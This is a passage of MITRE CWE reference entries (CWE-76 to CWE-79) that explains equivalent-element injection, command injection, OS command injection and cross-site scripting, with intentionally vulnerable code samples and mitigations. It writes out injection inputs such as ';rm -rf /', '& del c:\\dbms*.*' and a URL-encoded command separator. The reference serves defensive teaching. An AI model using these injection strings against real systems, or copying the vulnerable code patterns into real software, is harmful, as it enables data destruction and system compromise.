CWE-76: Failure to Resolve Equivalent Special Elements into a Different Plane

Weakness ID: 76 *(Weakness Base)* **Status:** Draft

Description

Summary

The software fails to adequately filter non-typical special elements that are equivalent to control-relevant special elements that are already being filtered.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Likelihood of Exploit

High to Very High

Potential Mitigations

Requirements specification: Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation

Utilize an appropriate mix of white-list and black-list parsing to filter equivalent special element syntax from all input.

Other Notes

Can include encoded special characters.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	**699 1000**	72

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Equivalent Special Element Injection

CWE-77: Failure to Sanitize Data into a Control Plane (aka 'Command Injection')

Weakness ID: 77 *(Weakness Class)* **Status:** Draft

Description

Summary

The software fails to adequately filter command (control plane) syntax from user-controlled input (data plane) and then allows potentially injected commands to execute within its context.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Command injection allows for the execution of arbitrary commands and code by the attacker.

Likelihood of Exploit

Very High

Demonstrative Examples

Example 1:

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

```
int main(char* argc, char** argv) {
  char cmd[CMD_MAX] = "/usr/bin/cat ";
  strcat(cmd, argv[1]);
  system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Example 2:

The following code is from an administrative web application designed allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

```
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
  c:\\util\\rmanDB.bat "
  +btype+
  "&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
```

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:

The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Bad Code

```
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4:

The following code is from a web application that allows users access to an interface through which they can update their password on the system. Part of the process for updating passwords in certain network environments is to run a make command in the /var/yp directory, the code for which is shown below.

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and fails to clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

Example 5:

The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

C Example:

Bad Code

```
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
  char cat[] = "cat ";
  char *command;
  size_t commandLength;
  commandLength = strlen(cat) + strlen(argv[1]) + 1;
  command = (char *) malloc(commandLength);
  strncpy(command, cat, commandLength);
  strncat(command, argv[1], (commandLength - strlen(cat)) );
  system(command);
  return (0);
}
```

Used normally, the output is simply the contents of the file requested:

```
$ ./catWrapper Story.txt When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

Attack

```
$ ./catWrapper Story.txt; ls When last we left our heroes... Story.txt doubFree.c nullpointer.c unstosig.c www* a.out* format.c strlen.c useFree* catWrapper* misnull.c strlength.c useFree.c commandinjection.c nodefault.c trunc.c writeWhatWhere.c
```

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Potential Mitigations

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality

Implementation

Utilize black-list parsing to filter non-relevant command syntax from all input.

Implementation

Ensure that all external commands called from the program are statically created, or -- if they must take input from a user -- that the input and final line generated are vigorously white-list checked.

Run time: Run time policy enforcement may be used in a white-list fashion to prevent use of any non-sanctioned commands.

Assign permissions to the software system that prevents the user from accessing/opening privileged files.

Other Notes

Command injection is a common problem with wrapper programs. Often, parts of the command to be run are controllable by the end user. If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, he may then be able to insert an entirely new and unrelated command to do whatever he pleases. The most effective way to deter such an attack is to ensure that the input provided by the user adheres to strict rules as to what characters are acceptable. As always, white-list style checking is far preferable to black-list style checking.

Dynamically generating operating system commands that include user input as parameters can lead to command injection attacks. An attacker can insert operating system commands or modifiers in the user input that can cause the request to behave in an unsafe manner. Such vulnerabilities can be very dangerous and lead to data and system compromise. If no validation of the parameter to the exec command exists, an attacker can execute any command on the system the application has the privilege to access.

Command injection vulnerabilities take two forms:

1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is.
2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

In this case we are primarily concerned with the first scenario, in which an attacker explicitly controls the command that is executed. Command injection vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.
2. The data is part of a string that is executed as a command by the application.
3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	20	Improper Input Validation	**700**	14
ChildOf	W	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699 1000**	70
ChildOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	**629**	713
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	716
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
ParentOf	W	*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	***699 1000***	*77*
ParentOf	W	*624*	*Executable Regular Expression Error*	***699 1000***	*608*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Command Injection
CLASP			Command injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
6	Argument Injection	
11	Cause Web Server Misclassification	
15	Command Delimiters	
23	File System Function Injection, Content Based	
43	Exploiting Multiple Input Interpretation Layers	
75	Manipulating Writeable Configuration Files	
76	Manipulating Input to File System Calls	

References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

CWE-78: Failure to Preserve OS Command Structure (aka 'OS Command Injection')

Weakness ID: 78 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses externally-supplied input to dynamically construct all or part of a command, which is then passed to the operating system for execution, but the software does not sufficiently enforce which commands and arguments are specified.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process fails to follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

1) The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the

program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.

2) The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Alternate Terms

Shell injection

Shell metacharacters

Terminology Notes

The "OS command injection" phrase carries different meanings to different people. For some, it refers to any type of attack that can allow the attacker to execute OS commands of his or her choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. For others, it only refers to the first variant, in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Integrity

Availability

Non-Repudiation

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

Perl Example: *Bad Code*

```
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
  while (<$fh>) {
    print escapeHTML($_);
    print "<br>\n";
  }
  close($fh);
}
```

Suppose an attacker provides a domain name like this:

Attack

```
cwe.mitre.org%20%3B%20/bin/ls%20-l
```

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

```
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
```

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 2:

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

Java Example: *Bad Code*

```
String script = System.getProperty("SCRIPTNAME");
if (script != null)
  System.exec(script);
```

If an attacker has control over this property, then he or she could modify the property to point to a dangerous program.

Observed Examples

Reference	Description
CVE-1999-0067	Canonical example. CGI program does not sanitize "|" metacharacter when invoking a phonebook program.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call.
CVE-2002-0061	Web server allows command execution using "|" (pipe) character.
CVE-2002-1898	Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
CVE-2003-0041	FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
CVE-2007-3572	Chain: incomplete blacklist for OS command injection
CVE-2008-2575	Shell metacharacters in a filename in a ZIP archive
CVE-2008-4304	OS command injection through environment variable.
CVE-2008-4796	OS command injection through https:// URLs

Potential Mitigations

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which commands can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Architecture and Design

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the command locally in the session's state instead of sending it out to the client in a hidden form field.

Architecture and Design

Use languages, libraries, or frameworks that make it easier to generate properly encoded output.

Examples include the ESAPI Encoding control.

Implementation

Properly quote arguments and escape any special characters within those arguments. If some special characters are still needed, wrap the arguments in quotes, and escape all other characters that do not pass a strict whitelist. Be careful of argument injection (CWE-88).

Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Implementation

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Implementation

Assume all input is malicious. Use an "accept known good" input validation strategy (i.e., use a whitelist). Reject any input that does not strictly conform to specifications, or transform it into something that does. Use a blacklist to reject any unexpected inputs and detect potential attacks.

Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the input for further processing. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Testing

Implementation

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Operation

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force you to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Operation

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

System Configuration

Assign permissions to the software system that prevent the user from accessing/opening privileged files. Run the application with the lowest privileges possible (CWE-250).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	77	Failure to Sanitize Data into a Control Plane ('Command Injection')	**699 1000**	74
CanAlsoBe	We	88	Argument Injection or Modification	1000	97
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	**629**	713
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
ChildOf	C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727
ChildOf	C	744	CERT C Secure Coding Section 10 - Environment (ENV)	734	729
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
CanFollow	We	*184*	*Incomplete Blacklist*	*1000*	*212*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Research Gaps

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

Affected Resources

- System Process

Functional Areas

- Program invocation

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			OS Command Injection
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
CERT C Secure Coding	ENV03-C		Sanitize the environment when invoking external programs
CERT C Secure Coding	ENV04-C		Do not call system() if you do not need a command processor
CERT C Secure Coding	STR02-C		Sanitize data passed to complex subsystems

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
6	Argument Injection
15	Command Delimiters
43	Exploiting Multiple Input Interpretation Layers
88	OS Command Injection

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that executes an operating system command where
   a. the input is used as a part of the operating system command
   b. the input is undesirable

Where "input is undesirable" is defined through the following scenarios:

1. input not validated
2. input incorrectly validated

References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

CWE-79: Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')

Weakness ID: 79 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not sufficiently validate, filter, escape, and encode user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

Alternate Terms

XSS

CSS

"CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Architectural Paradigms

- Web-based *(Often)*

Technology Classes

- Web-Server *(Often)*

Platform Notes

Common Consequences

Confidentiality

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Access Control

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Likelihood of Exploit

High to Very High

Enabling Factors for Exploitation

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web based mailing list-style functionality.

Detection Factors

It is relatively easy for an attacker to find XSS vulnerabilities. Some of these vulnerabilities can be found using scanners, and some exist in older web application servers.

Demonstrative Examples

Example 1:

This example covers a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

JSP Example: *Bad Code*

```
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
```

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

ASP.NET Example: *Bad Code*

```
...
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
... (HTML follows) ...
<p><asp:label id="EmployeeID" runat="server" /></p>
...
```

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2:

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

JSP Example: *Bad Code*

```
<%
  ...
  Statement stmt = conn.createStatement();
  ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
  if (rs != null) {
    rs.next();
    String name = rs.getString("name");
    %>
Employee Name: <%= name %>
```

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

ASP.NET Example: *Bad Code*

```
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
```

This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored

XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users.

XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. To summarize the basic points of Stored XSS:

A source outside the application stores dangerous data in a database or other data store

The dangerous data is subsequently read back into the application as trusted data

The data is then included in dynamic content.

Observed Examples

Reference	Description
CVE-2006-4308	Chain: only checks "javascript:" tag
CVE-2007-5727	Chain: only removes SCRIPT tags, enabling XSS
CVE-2008-0971	Persistent XSS in a security product
CVE-2008-4730	Reflected XSS not properly handled when generating an error message
CVE-2008-5080	Chain: protection mechanism failure allows XSS
CVE-2008-5249	Persistent XSS using a wiki page
CVE-2008-5734	Reflected XSS sent through email message
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL

Potential Mitigations

Architecture and Design

Use languages, libraries, or frameworks that make it easier to generate properly encoded output.

Examples include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. This encoding will vary depending on whether the output is part of the HTML body, element attributes, URIs, JavaScript sections, Cascading Style Sheets, etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Implementation

Use and specify a strong character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can open you up to subtle XSS attacks related to that encoding. See CWE-116 for more mitigations related to encoding/escaping.

Implementation

With Struts, you should write all data from form beans with the bean's filter attribute set to true.

Implementation

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Implementation

Assume all input is malicious. Use an "accept known good" input validation strategy (i.e., use a whitelist). Reject any input that does not strictly conform to specifications, or transform it into something that does. Use a blacklist to reject any unexpected inputs and detect potential attacks.

Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the input for further processing. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Testing

Implementation

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use the XSS Cheat Sheet (see references) to launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Operation

Use an application firewall that can detect attacks against this weakness. This might not catch all attacks, and it might require some effort for customization. However, it can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Background Details

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site , or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V		Page
ChildOf	WC	20	Improper Input Validation	**700**		14
ChildOf	WC	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699** **1000**		70
PeerOf		352	Cross-Site Request Forgery (CSRF)	1000		373
ChildOf		442	Web Problems	699		468
CanPrecede	WB	494	Download of Code Without Integrity Check	1000		518
ChildOf		712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)	**629**		712
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711		716
